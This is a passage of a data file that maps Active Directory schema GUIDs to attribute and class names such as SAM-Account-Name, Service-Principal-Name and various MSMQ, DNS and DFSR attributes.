"4c9928d7-d725-4fa6-a109-aba3ad8790e5": "ms-Mcs-AdmPwd", "7f561282-5301-11d1-a9c5-0000f80367c1": "ACS-Permission-Bits", "bf967986-0de6-11d0-a285-00aa003049e2": "Home-Drive", "08e3aa79-eb1c-45b5-af7b-8f94246c8e41": "ms-DS-ReplicationEpoch", "3f6b8e12-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Quota", "29401c48-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Object-ID", "3ced1465-7b71-2541-8780-1e1ea6243a82": "ms-DS-BridgeHead-Servers-Used", "f30e3bc2-9ff0-11d1-b603-0000f80367c1": "Group-Policy-Container", "1cb3559a-56d0-11d1-a9c6-0000f80367c1": "ACS-Policy-Name", "a45398b7-c44a-4eb6-82d3-13c10946dbfe": "houseIdentifier", "d5b35506-19d6-4d26-9afb-11357ac99b5e": "ms-DS-Retired-Repl-NC-Signatures", "9a0dc320-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue-Type", "bf967a27-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Priority", "51c9f89d-4730-468d-a2b5-1d493212d17e": "ms-DS-Is-Used-As-Resource-Security-Attribute", "bf967aae-0de6-11d0-a285-00aa003049e2": "Secret", "7f561281-5301-11d1-a9c5-0000f80367c1": "ACS-Priority", "6043df71-fa48-46cf-ab7c-cbd54644b22d": "host", "b39a61be-ed07-4cab-9a4a-4963ed0141e1": "ms-ds-Schema-Extensions", "9a0dc322-c100-11d1-bbc5-0080c76670c0": "MSMQ-Quota", "bf967a28-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Profile-Entry", "2e28edee-ed7c-453f-afe4-93bd86f2174f": "ms-DS-Claim-Possible-Values", "7bfdcb8a-4807-11d1-a9c3-0000f80367c1": "Index-Server-Catalog", "f072230f-aef5-11d1-bdcf-0000f80367c1": "ACS-RSVP-Account-Files-Location", "f0f8ff83-1191-11d0-a060-00aa006c33ed": "Icon-Path", "4c51e316-f628-43a5-b06b-ffb695fcb4f3": "ms-DS-SD-Reference-Domain", "3bfe6748-b544-485a-b067-1b310c4334bf": "MSMQ-Recipient-FormatName", "29401c4a-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Transfer-Syntax", "c66217b9-e48e-47f7-b7d5-6552b8afd619": "ms-DS-Claim-Value-Type", "4828cc14-1437-45bc-9b07-ad6f015e5f28": "inetOrgPerson", "bf967aaf-0de6-11d0-a285-00aa003049e2": "Security-Object", "1cb3559b-56d0-11d1-a9c6-0000f80367c1": "ACS-RSVP-Log-Files-Location", "7d6c0e92-7e20-11d0-afd6-00c04fd930c9": "Implemented-Categories", "4f146ae8-a4fe-4801-a731-f51848a4f4e4": "ms-DS-Security-Group-Extra-Classes", "2df90d81-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Service", "3e0abfd0-126a-11d0-a060-00aa006c33ed": "SAM-Account-Name", "eebc123e-bae6-4166-9e5b-29884a8b76b0": "ms-DS-Claim-Attribute-Source", "7f56127f-5301-11d1-a9c5-0000f80367c1": "ACS-Service-Type", "7bfdcb87-4807-11d1-a9c3-0000f80367c1": "IndexedScopes", "0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21": "ms-DS-Settings", "2df90d77-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Services", "6e7b626c-64f2-11d0-afd2-00c04fd930c9": "SAM-Account-Type", "6afb0e4c-d876-437c-aeb6-c3e41454c272": "ms-DS-Claim-Type-Applies-To-Class", "2df90d89-009f-11d2-aa4c-00c04fd7d83a": "Infrastructure-Update", "bf967a92-0de6-11d0-a285-00aa003049e2": "Server", "7f561279-5301-11d1-a9c5-0000f80367c1": "ACS-Time-Of-Day", "52458023-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Incoming", "c17c5602-bcb7-46f0-9656-6370ca884b72": "ms-DS-Site-Affinity", "8bf0221b-7a06-4d63-91f0-1499941813d3": "MSMQ-Secured-Source", "04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe": "SAM-Domain-Updates", "52c8d13a-ce0b-4f57-892b-18f5a43a2400": "ms-DS-Claim-Shares-Possible-Values-With", "7f561280-5301-11d1-a9c5-0000f80367c1": "ACS-Total-No-Of-Flows", "52458024-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Outgoing", "789ee1eb-8c8e-4e4c-8cec-79b31b7617b5": "ms-DS-SPN-Suffixes", "9a0dc32d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Service-Type", "dd712224-10e4-11d0-a05f-00aa006c33ed": "Schedule", "54d522db-ec95-48f5-9bbd-1880ebbb2180": "ms-DS-Claim-Shares-Possible-Values-With-BL", "07383086-91df-11d1-aebc-0000f80367c1": "Intellimirror-Group", "f780acc0-56f0-11d1-a9c6-0000f80367c1": "Servers-Container", "7cbd59a5-3b90-11d2-90cc-00c04fd91ab1": "ACS-Server-List", "f0f8ff90-1191-11d0-a060-00aa006c33ed": "Initials", "35319082-8c4a-4646-9386-c2949d49894d": "ms-DS-Tasks-For-Az-Role", "9a0dc33d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Services", "bf967a2b-0de6-11d0-a285-00aa003049e2": "Schema-Flags-Ex", "4d371c11-4cad-4c41-8ad2-b180ab2bd13c": "ms-DS-Members-Of-Resource-Property-List", "6d05fb41-246b-11d0-a9c8-00aa006c33ed": "Additional-Information", "96a7dd64-9118-11d1-aebc-0000f80367c1": "Install-Ui-Level", "a0dcd536-5158-42fe-8c40-c00a7ad37959": "ms-DS-Tasks-For-Az-Role-BL", "9a0dc33b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Certificates", "bf967923-0de6-11d0-a285-00aa003049e2": "Schema-ID-GUID", "7469b704-edb0-4568-a5a5-59f4862c75a7": "ms-DS-Members-Of-Resource-Property-List-BL", "07383085-91df-11d1-aebc-0000f80367c1": "Intellimirror-SCP", "b7b13123-b82e-11d0-afee-0000f80367c1": "Service-Administration-Point", "032160be-9824-11d1-aec0-0000f80367c1": "Additional-Trusted-Service-Names", "bf96798c-0de6-11d0-a285-00aa003049e2": "Instance-Type", "b11c8ee2-5fcd-46a7-95f0-f38333f096cf": "ms-DS-Tasks-For-Az-Task", "3881b8ea-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Sign-Certificates-Mig", "f9fb64ae-93b4-11d2-9945-0000f87a57d4": "Schema-Info", "b47f510d-6b50-47e1-b556-772c79e4ffc4": "ms-SPP-CSVLK-Pid", "f0f8ff84-1191-11d0-a060-00aa006c33ed": "Address", "b7c69e60-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Failover", "df446e52-b5fa-4ca2-a42f-13f98a526c8f": "ms-DS-Tasks-For-Az-Task-BL", "9a0dc332-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Key", "1e2d06b4-ac8f-11d0-afe3-00c04fd930c9": "Schema-Update", "a601b091-8652-453a-b386-87ad239b7c08": "ms-SPP-CSVLK-Partial-Product-Key", "26d97376-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport", "bf967ab1-0de6-11d0-a285-00aa003049e2": "Service-Class", "f70b6e48-06f4-11d2-aa53-00c04fd7d83a": "Address-Book-Roots", "b7c69e5e-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Generator", "2cc4b836-b63f-4940-8d23-ea7acf06af56": "ms-DS-User-Account-Control-Computed", "9a0dc337-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-1", "bf967a2c-0de6-11d0-a285-00aa003049e2": "Schema-Version", "9684f739-7b78-476d-8d74-31ad7692eef4": "ms-SPP-CSVLK-Sku-Id", "5fd42461-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table", "b7c69e5f-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Renew", "add5cf10-7b09-4449-9ae6-2534148f8a72": "ms-DS-User-Password-Expiry-Time-Computed", "9a0dc338-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-2", "16f3a4c2-7e79-11d2-9921-0000f87a57d4": "Scope-Flags", "9b663eda-3542-46d6-9df0-314025af2bac": "ms-SPP-KMS-Ids", "26d97375-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport-Container", "28630ec1-41d5-11d1-a9c1-0000f80367c1": "Service-Connection-Point", "5fd42462-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table-MSDOS", "bf96798d-0de6-11d0-a285-00aa003049e2": "International-ISDN-Number", "146eb639-bb9f-4fc1-a825-e29e00c77920": "ms-DS-UpdateScript", "fd129d8a-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Site-Foreign", "bf9679a8-0de6-11d0-a285-00aa003049e2": "Script-Path", "69bfb114-407b-4739-a213-c663802b3e37": "ms-SPP-Installation-Id", "16775781-47f3-11d1-a9c3-0000f80367c1": "Address-Home", "bf96798e-0de6-11d0-a285-00aa003049e2": "Invocation-Id", "773e93af-d3b4-48d4-b3f9-06457602d3d0": "ms-DS-Source-Object-DN", "9a0dc339-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Gates", "c3dbafa6-33df-11d2-98b2-0000f87a57d4": "SD-Rights-Effective", "6e8797c4-acda-4a49-8740-b0bd05a9b831": "ms-SPP-Confirmation-Id", "b40ff825-427a-11d1-a9c2-0000f80367c1": "Ipsec-Base", "bf967ab2-0de6-11d0-a285-00aa003049e2": "Service-Instance", "5fd42463-1262-11d0-a060-00aa006c33ed": "Address-Syntax", "b40ff81f-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data", "778ff5c9-6f4e-4b74-856a-d68383313910": "ms-DS-KrbTgt-Link", "e2704852-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Site-Gates-Mig", "bf967a2d-0de6-11d0-a285-00aa003049e2": "Search-Flags", "098f368e-4812-48cd-afb7-a136b96807ed": "ms-SPP-Online-License", "5fd42464-1262-11d0-a060-00aa006c33ed": "Address-Type", "b40ff81e-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data-Type", "185c7821-3749-443a-bd6a-288899071adb": "ms-DS-Revealed-Users", "9a0dc340-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-ID", "bf967a2e-0de6-11d0-a285-00aa003049e2": "Search-Guide", "67e4d912-f362-4052-8c79-42f45ba7b221": "ms-SPP-Phone-License", "b40ff826-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter", "5fe69b0b-e146-4f15-b0ab-c1e5d488e094": "simpleSecurityObject", "553fd038-f32e-11d0-b0bc-00c04fd8dca6": "Admin-Context-Menu", "b40ff823-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter-Reference", "1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3": "ms-DS-Has-Full-Replica-NCs", "ffadb4b2-de39-11d1-90a5-00c04fd91ab1": "MSMQ-Site-Name", "01072d9a-98ad-4a53-9744-e83e287278fb": "secretary", "0353c4b5-d199-40b0-b3c5-deb32fd9ec06": "ms-SPP-Config-License", "bf967918-0de6-11d0-a285-00aa003049e2": "Admin-Count", "b40ff81d-427a-11d1-a9c2-0000f80367c1": "Ipsec-ID", "15585999-fd49-4d66-b25d-eeb96aba8174": "ms-DS-Never-Reveal-Group", "422144fa-c17f-4649-94d6-9731ed2784ed": "MSMQ-Site-Name-Ex", "bf967a2f-0de6-11d0-a285-00aa003049e2": "Security-Identifier", "1075b3a1-bbaf-49d2-ae8d-c4f25c823303": "ms-SPP-Issuance-License", "b40ff828-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Policy", "bf967ab3-0de6-11d0-a285-00aa003049e2": "Site", "bf967919-0de6-11d0-a285-00aa003049e2": "Admin-Description", "b40ff820-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Reference", "303d9f4a-1dd6-4b38-8fc5-33afe8c988ad": "ms-DS-Reveal-OnDemand-Group", "9a0dc32a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sites", "bf967a31-0de6-11d0-a285-00aa003049e2": "See-Also", "19d706eb-4d76-44a2-85d6-1c342be3be37": "ms-TPM-Srk-Pub-Thumbprint", "bf96791a-0de6-11d0-a285-00aa003049e2": "Admin-Display-Name", "b40ff81c-427a-11d1-a9c2-0000f80367c1": "Ipsec-Name", "aa156612-2396-467e-ad6a-28d23fdb1865": "ms-DS-Secondary-KrbTgt-Number", "9a0dc329-c100-11d1-bbc5-0080c76670c0": "MSMQ-Transactional", "ddac0cf2-af8f-11d0-afeb-00c04fd930c9": "Seq-Notification", "c894809d-b513-4ff8-8811-f4f43f5ac7bc": "ms-TPM-Owner-Information-Temp", "b40ff827-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy", "d50c2cde-8951-11d1-aebc-0000f80367c1": "Site-Link", "18f9b67d-5ac6-4b3b-97db-d0a406afb7ba": "Admin-Multiselect-Property-Pages", "07383075-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Action", "94f6f2ac-c76d-4b5e-b71f-f332c3e93c22": "ms-DS-Revealed-DSAs", "c58aae32-56f9-11d2-90d0-00c04fd91ab1": "MSMQ-User-Sid", "bf967a32-0de6-11d0-a285-00aa003049e2": "Serial-Number", "ea1b7b93-5e48-46d5-bc6c-4df4fda78a35": "ms-TPM-Tpm-Information-For-Computer", "52458038-ca6a-11d0-afff-0000f80367c1": "Admin-Property-Pages", "b40ff822-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy-Reference", "5dd68c41-bfdf-438b-9b5d-39d9618bf260": "ms-DS-KrbTgt-Link-BL", "9a0dc336-c100-11d1-bbc5-0080c76670c0": "MSMQ-Version", "09dcb7a0-165f-11d0-a064-00aa006c33ed": "Server-Name", "14fa84c9-8ecd-4348-bc91-6d3ced472ab7": "ms-TPM-Tpm-Information-For-Computer-BL", "b40ff829-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA", "d50c2cdf-8951-11d1-aebc-0000f80367c1": "Site-Link-Bridge", "9a7ad940-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes", "07383074-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Type", "c8bc72e0-a6b4-48f0-94a5-fd76a88c9987": "ms-DS-Is-Full-Replica-For", "db0c9085-c1f2-11d1-bbc5-0080c76670c0": "msNPAllowDialin", "26d9736d-6070-11d1-a9c6-0000f80367c1": "Server-Reference", "0be0dd3b-041a-418c-ace9-2f17d23e9d42": "ms-DNS-Keymaster-Zones", "9a7ad941-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes-Effective", "b40ff821-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA-Reference", "ff155a2a-44e5-4de0-8318-13a58988de4f": "ms-DS-Is-Domain-For", "db0c9089-c1f2-11d1-bbc5-0080c76670c0": "msNPCalledStationID", "26d9736e-6070-11d1-a9c6-0000f80367c1": "Server-Reference-BL", "aa12854c-d8fc-4d5e-91ca-368b8d829bee": "ms-DNS-Is-Signed", "b7b13121-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy", "7a4117da-cd67-11d0-afff-0000f80367c1": "Sites-Container", "9a7ad942-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes", "b40ff824-427a-11d1-a9c2-0000f80367c1": "Ipsec-Owners-Reference", "37c94ff6-c6d4-498f-b2f9-c6f7f8647809": "ms-DS-Is-Partial-Replica-For", "db0c908a-c1f2-11d1-bbc5-0080c76670c0": "msNPCallingStationID", "bf967a33-0de6-11d0-a285-00aa003049e2": "Server-Role", "c79f2199-6da1-46ff-923c-1f3f800c721e": "ms-DNS-Sign-With-NSEC3", "9a7ad943-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes-Effective", "b7b13118-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy-Reference", "fe01245a-341f-4556-951f-48c033a89050": "ms-DS-Is-User-Cachable-At-Rodc", "db0c908e-c1f2-11d1-bbc5-0080c76670c0": "msNPSavedCallingStationID", "bf967a34-0de6-11d0-a285-00aa003049e2": "Server-State", "7bea2088-8ce2-423c-b191-66ec506b1595": "ms-DNS-NSEC3-OptOut", "bf967a9e-0de6-11d0-a285-00aa003049e2": "Leaf", "bf967ab5-0de6-11d0-a285-00aa003049e2": "Storage", "00fbf30c-91fe-11d1-aebc-0000f80367c1": "Alt-Security-Identities", "00fbf30d-91fe-11d1-aebc-0000f80367c1": "Is-Critical-System-Object", "cbdad11c-7fec-387b-6219-3a0627d9af81": "ms-DS-Revealed-List", "db0c909c-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSCallbackNumber", "b7b1311c-b82e-11d0-afee-0000f80367c1": "Service-Binding-Information", "0dc063c1-52d9-4456-9e15-9c2434aafd94": "ms-DNS-Maintain-Trust-Anchor", "45b01500-c419-11d1-bbc9-0080c76670c0": "ANR", "28630ebe-41d5-11d1-a9c1-0000f80367c1": "Is-Defunct", "aa1c88fd-b0f6-429f-b2ca-9d902266e808": "ms-DS-Revealed-List-BL", "db0c90a4-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedIPAddress", "bf967a35-0de6-11d0-a285-00aa003049e2": "Service-Class-ID", "5c5b7ad2-20fa-44bb-beb3-34b9c0f65579": "ms-DNS-DS-Record-Algorithms", "1be8f17d-a9ff-11d0-afe2-00c04fd930c9": "Licensing-Site-Settings", "b7b13124-b82e-11d0-afee-0000f80367c1": "Subnet", "96a7dd65-9118-11d1-aebc-0000f80367c1": "App-Schema-Version", "bf96798f-0de6-11d0-a285-00aa003049e2": "Is-Deleted", "011929e6-8b5d-4258-b64a-00b0b4949747": "ms-DS-Last-Successful-Interactive-Logon-Time", "db0c90a9-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedRoute", "bf967a36-0de6-11d0-a285-00aa003049e2": "Service-Class-Info", "27d93c40-065a-43c0-bdd8-cdf2c7d120aa": "ms-DNS-RFC5011-Key-Rollovers", "dd712226-10e4-11d0-a05f-00aa006c33ed": "Application-Name", "f4c453f0-c5f1-11d1-bbcb-0080c76670c0": "Is-Ephemeral", "c7e7dafa-10c3-4b8b-9acd-54f11063742e": "ms-DS-Last-Failed-Interactive-Logon-Time", "db0c90b6-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSServiceType", "b7b1311d-b82e-11d0-afee-0000f80367c1": "Service-Class-Name", "ff9e5552-7db7-4138-8888-05ce320a0323": "ms-DNS-NSEC3-Hash-Algorithm", "ddac0cf5-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Object-Move-Table", "b7b13125-b82e-11d0-afee-0000f80367c1": "Subnet-Container", "8297931d-86d3-11d0-afda-00c04fd930c9": "Applies-To", "bf967991-0de6-11d0-a285-00aa003049e2": "Is-Member-Of-DL", "dc3ca86f-70ad-4960-8425-a4d6313d93dd": "ms-DS-Failed-Interactive-Logon-Count", "db0c90c5-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedCallbackNumber", "28630eb8-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name", "13361665-916c-4de7-a59d-b1ebbd0de129": "ms-DNS-NSEC3-Random-Salt-Length", "ba305f75-47e3-11d0-a1a6-00c04fd930c9": "Asset-Number", "19405b9d-3cfa-11d1-a9c0-0000f80367c1": "Is-Member-Of-Partial-Attribute-Set", "c5d234e5-644a-4403-a665-e26e0aef5e98": "ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon", "db0c90c6-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedIPAddress", "28630eba-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name-Type", "80b70aab-8959-4ec0-8e93-126e76df3aca": "ms-DNS-NSEC3-Iterations", "ddac0cf7-af8f-11d0-afeb-00c04fd930c9": "Link-Track-OMT-Entry", "0296c11c-40da-11d1-a9c0-0000f80367c1": "Assistant", "19405b9c-3cfa-11d1-a9c0-0000f80367c1": "Is-Privilege-Holder", "31f7b8b6-c9f8-4f2d-a37b-58a823030331": "ms-DS-USN-Last-Sync-Success", "db0c90c7-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedRoute", "bf967a37-0de6-11d0-a285-00aa003049e2": "Service-Instance-Version", "8f4e317f-28d7-442c-a6df-1f491f97b326": "ms-DNS-DNSKEY-Record-Set-TTL", "bf967ab8-0de6-11d0-a285-00aa003049e2": "Trusted-Domain", "398f63c0-ca60-11d1-bbd1-0000f81f10c0": "Assoc-NT-Account", "8fb59256-55f1-444b-aacb-f5b482fe3459": "Is-Recycled", "78fc5d84-c1dc-3148-8984-58f792d41d3e": "ms-DS-Value-Type-Reference", "bf9679d3-0de6-11d0-a285-00aa003049e2": "Must-Contain", "f3a64788-5306-11d1-a9c5-0000f80367c1": "Service-Principal-Name", "29869b7c-64c4-42fe-97d5-fbc2fa124160": "ms-DNS-DS-Record-Set-TTL", "ddac0cf6-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Vol-Entry", "3320fc38-c379-4c17-a510-1bdf6133c5da": "associatedDomain", "bf967992-0de6-11d0-a285-00aa003049e2": "Is-Single-Valued", "ab5543ad-23a1-3b45-b937-9b313d5474a8": "ms-DS-Value-Type-Reference-BL", "80212840-4bdc-11d1-a9c4-0000f80367c1": "Name-Service-Flags", "7d6c0e97-7e20-11d0-afd6-00c04fd930c9": "Setup-Command", "03d4c32e-e217-4a61-9699-7bbc4729a026": "ms-DNS-Signature-Inception-Offset", "281416e2-1968-11d0-a28f-00aa003049e2": "Type-Library", "f7fbfc45-85ab-42a4-a435-780e62f7858b": "associatedName", "bac80572-09c4-4fa9-9ae6-7628d7adbe0e": "jpegPhoto", "8a0560c1-97b9-4811-9db7-dc061598965b": "ms-DS-Optional-Feature-Flags", "bf9679d6-0de6-11d0-a285-00aa003049e2": "NC-Name", "553fd039-f32e-11d0-b0bc-00c04fd8dca6": "Shell-Context-Menu", "f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9": "ms-DNS-Secure-Delegation-Polling-Period", "ddac0cf4-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Volume-Table", "fa4693bb-7bc2-4cb9-81a8-c99c43b7905e": "attributeCertificateAttribute", "bf967993-0de6-11d0-a285-00aa003049e2": "Keywords", "bf9679d8-0de6-11d0-a285-00aa003049e2": "NETBIOS-Name", "52458039-ca6a-11d0-afff-0000f80367c1": "Shell-Property-Pages", "3443d8cd-e5b6-4f3b-b098-659a0214a079": "ms-DNS-Signing-Key-Descriptors", "bf967abb-0de6-11d0-a285-00aa003049e2": "Volume", "cb843f80-48d9-11d1-a9c3-0000f80367c1": "Attribute-Display-Names", "1677581f-47f3-11d1-a9c3-0000f80367c1": "Knowledge-Information", "07383076-91df-11d1-aebc-0000f80367c1": "netboot-Allow-New-Clients", "45b01501-c419-11d1-bbc9-0080c76670c0": "Short-Server-Name", "b7673e6d-cad9-4e9e-b31a-63e8098fdd63": "ms-DNS-Signing-Keys", "bf967aa0-0de6-11d0-a285-00aa003049e2": "Locality", "bf967922-0de6-11d0-a285-00aa003049e2": "Attribute-ID", "c569bb46-c680-44bc-a273-e6c227d71b45": "labeledURI", "0738307b-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Only-Valid-Clients", "3e74f60e-3e73-11d1-a9c0-0000f80367c1": "Show-In-Address-Book", "28c458f5-602d-4ac9-a77c-b3f1be503a7e": "ms-DNS-DNSKEY-Records", "ad44bb41-67d5-4d88-b575-7b20674e76d8": "PosixAccount", "bf967924-0de6-11d0-a285-00aa003049e2": "Attribute-Security-GUID", "1fbb0be8-ba63-11d0-afef-0000f80367c1": "Last-Backup-Restoration-Time", "0738307a-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Requests", "bf967984-0de6-11d0-a285-00aa003049e2": "Show-In-Advanced-View-Only", "285c6964-c11a-499e-96d8-bf7c75a223c6": "ms-DNS-Parent-Has-Secure-Delegation", "52ab8671-5709-11d1-a9c6-0000f80367c1": "Lost-And-Found", "bf967925-0de6-11d0-a285-00aa003049e2": "Attribute-Syntax", "bf967995-0de6-11d0-a285-00aa003049e2": "Last-Content-Indexed", "5643ff81-35b6-4ca9-9512-baf0bd0a2772": "ms-FRS-Hub-Member", "07383079-91df-11d1-aebc-0000f80367c1": "netboot-Current-Client-Count", "17eb4278-d167-11d0-b002-0000f80367c1": "SID-History", "ba340d47-2181-4ca0-a2f6-fae4479dab2a": "ms-DNS-Propagation-Time", "5b6d8467-1a18-4174-b350-9cc6e7b4ac8d": "ShadowAccount", "9a7ad944-ca53-11d1-bbd0-0080c76670c0": "Attribute-Types", "52ab8670-5709-11d1-a9c6-0000f80367c1": "Last-Known-Parent", "92aa27e0-5c50-402d-9ec1-ee847def9788": "ms-FRS-Topology-Pref", "3e978921-8c01-11d0-afda-00c04fd930c9": "Netboot-GUID", "2a39c5b2-8960-11d1-aebc-0000f80367c1": "Signature-Algorithms", "aff16770-9622-4fbc-a128-3088777605b9": "ms-DNS-NSEC3-User-Salt", "11b6cc94-48c4-11d1-a9c3-0000f80367c1": "Meeting", "d0e1d224-e1a0-42ce-a2da-793ba5244f35": "audio", "bf967996-0de6-11d0-a285-00aa003049e2": "Last-Logoff", "1a861408-38c3-49ea-ba75-85481a77c655": "ms-DFSR-Version", "532570bd-3d77-424f-822f-0d636dc6daad": "Netboot-DUID", "3e978924-8c01-11d0-afda-00c04fd930c9": "Site-GUID", "387d9432-a6d1-4474-82cd-0a89aae084ae": "ms-DNS-NSEC3-Current-Salt", "2a9350b8-062c-4ed0-9903-dde10d06deba": "PosixGroup", "6da8a4fe-0e52-11d0-a286-00aa003049e2": "Auditing-Policy", "bf967997-0de6-11d0-a285-00aa003049e2": "Last-Logon", "78f011ec-a766-4b19-adcf-7b81ed781a4d": "ms-DFSR-Extension", "3e978920-8c01-11d0-afda-00c04fd930c9": "Netboot-Initialization", "d50c2cdd-8951-11d1-aebc-0000f80367c1": "Site-Link-List", "07831919-8f94-4fb6-8a42-91545dccdad3": "ms-Authz-Effective-Security-Policy", "c9010e74-4e58-49f7-8a89-5e3e2340fcf8": "ms-COM-Partition", "bf967928-0de6-11d0-a285-00aa003049e2": "Authentication-Options", "c0e20a04-0e5a-4ff3-9482-5efeaecd7060": "Last-Logon-Timestamp", "d7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54": "ms-DFSR-RootPath", "0738307e-91df-11d1-aebc-0000f80367c1": "netboot-IntelliMirror-OSes", "d50c2cdc-8951-11d1-aebc-0000f80367c1": "Site-List", "b946bece-09b5-4b6a-b25a-4b63a330e80e": "ms-Authz-Proposed-Security-Policy", "2517fadf-fa97-48ad-9de6-79ac5721f864": "IpService", "1677578d-47f3-11d1-a9c3-0000f80367c1": "Authority-Revocation-List", "bf967998-0de6-11d0-a285-00aa003049e2": "Last-Set-Time", "90b769ac-4413-43cf-ad7a-867142e740a3": "ms-DFSR-RootSizeInMb", "07383077-91df-11d1-aebc-0000f80367c1": "netboot-Limit-Clients", "3e10944c-c354-11d0-aff8-0000f80367c1": "Site-Object", "8e1685c6-3e2f-48a2-a58d-5af0ea789fa0": "ms-Authz-Last-Effective-Security-Policy", "250464ab-c417-497a-975a-9e0d459a7ca1": "ms-COM-PartitionSet", "bf96792c-0de6-11d0-a285-00aa003049e2": "Auxiliary-Class", "7d6c0e9c-7e20-11d0-afd6-00c04fd930c9": "Last-Update-Sequence", "86b9a69e-f0a6-405d-99bb-77d977992c2a": "ms-DFSR-StagingPath", "07383080-91df-11d1-aebc-0000f80367c1": "netboot-Locally-Installed-OSes", "3e10944d-c354-11d0-aff8-0000f80367c1": "Site-Object-BL", "80997877-f874-4c68-864d-6e508a83bdbd": "ms-Authz-Resource-Condition", "9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013": "IpProtocol", "bf96792d-0de6-11d0-a285-00aa003049e2": "Bad-Password-Time", "7359a352-90f7-11d1-aebc-0000f80367c1": "LDAP-Admin-Limits", "250a8f20-f6fc-4559-ae65-e4b24c67aebe": "ms-DFSR-StagingSizeInMb", "3e978923-8c01-11d0-afda-00c04fd930c9": "Netboot-Machine-File-Path", "1be8f17c-a9ff-11d0-afe2-00c04fd930c9": "Site-Server", "62f29b60-be74-4630-9456-2f6691993a86": "ms-Authz-Central-Access-Policy-ID", "90df3c3e-1854-4455-a5d7-cad40d56657a": "ms-DS-App-Configuration", "bf96792e-0de6-11d0-a285-00aa003049e2": "Bad-Pwd-Count", "bf96799a-0de6-11d0-a285-00aa003049e2": "LDAP-Display-Name", "5cf0bcc8-60f7-4bff-bda6-aea0344eb151": "ms-DFSR-ConflictPath", "07383078-91df-11d1-aebc-0000f80367c1": "netboot-Max-Clients", "26d9736f-6070-11d1-a9c6-0000f80367c1": "SMTP-Mail-Address", "57f22f7a-377e-42c3-9872-cec6f21d2e3e": "ms-Authz-Member-Rules-In-Central-Access-Policy", "cadd1e5e-fefc-4f3f-b5a9-70e994204303": "OncRpc", "1f0075f9-7e40-11d0-afd6-00c04fd930c9": "Birth-Location", "7359a353-90f7-11d1-aebc-0000f80367c1": "LDAP-IPDeny-List", "9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49": "ms-DFSR-ConflictSizeInMb", "2df90d85-009f-11d2-aa4c-00c04fd7d83a": "Netboot-Mirror-Data-File", "2ab0e76c-7041-11d2-9905-0000f87a57d4": "SPN-Mappings", "516e67cf-fedd-4494-bb3a-bc506a948891": "ms-Authz-Member-Rules-In-Central-Access-Policy-BL", "9e67d761-e327-4d55-bc95-682f875e2f8e": "ms-DS-App-Data", "d50c2cdb-8951-11d1-aebc-0000f80367c1": "Bridgehead-Server-List-BL", "03726ae7-8e7d-4446-8aae-a91657c00993": "ms-DFSR-Enabled", "0738307c-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-Naming-Policy", 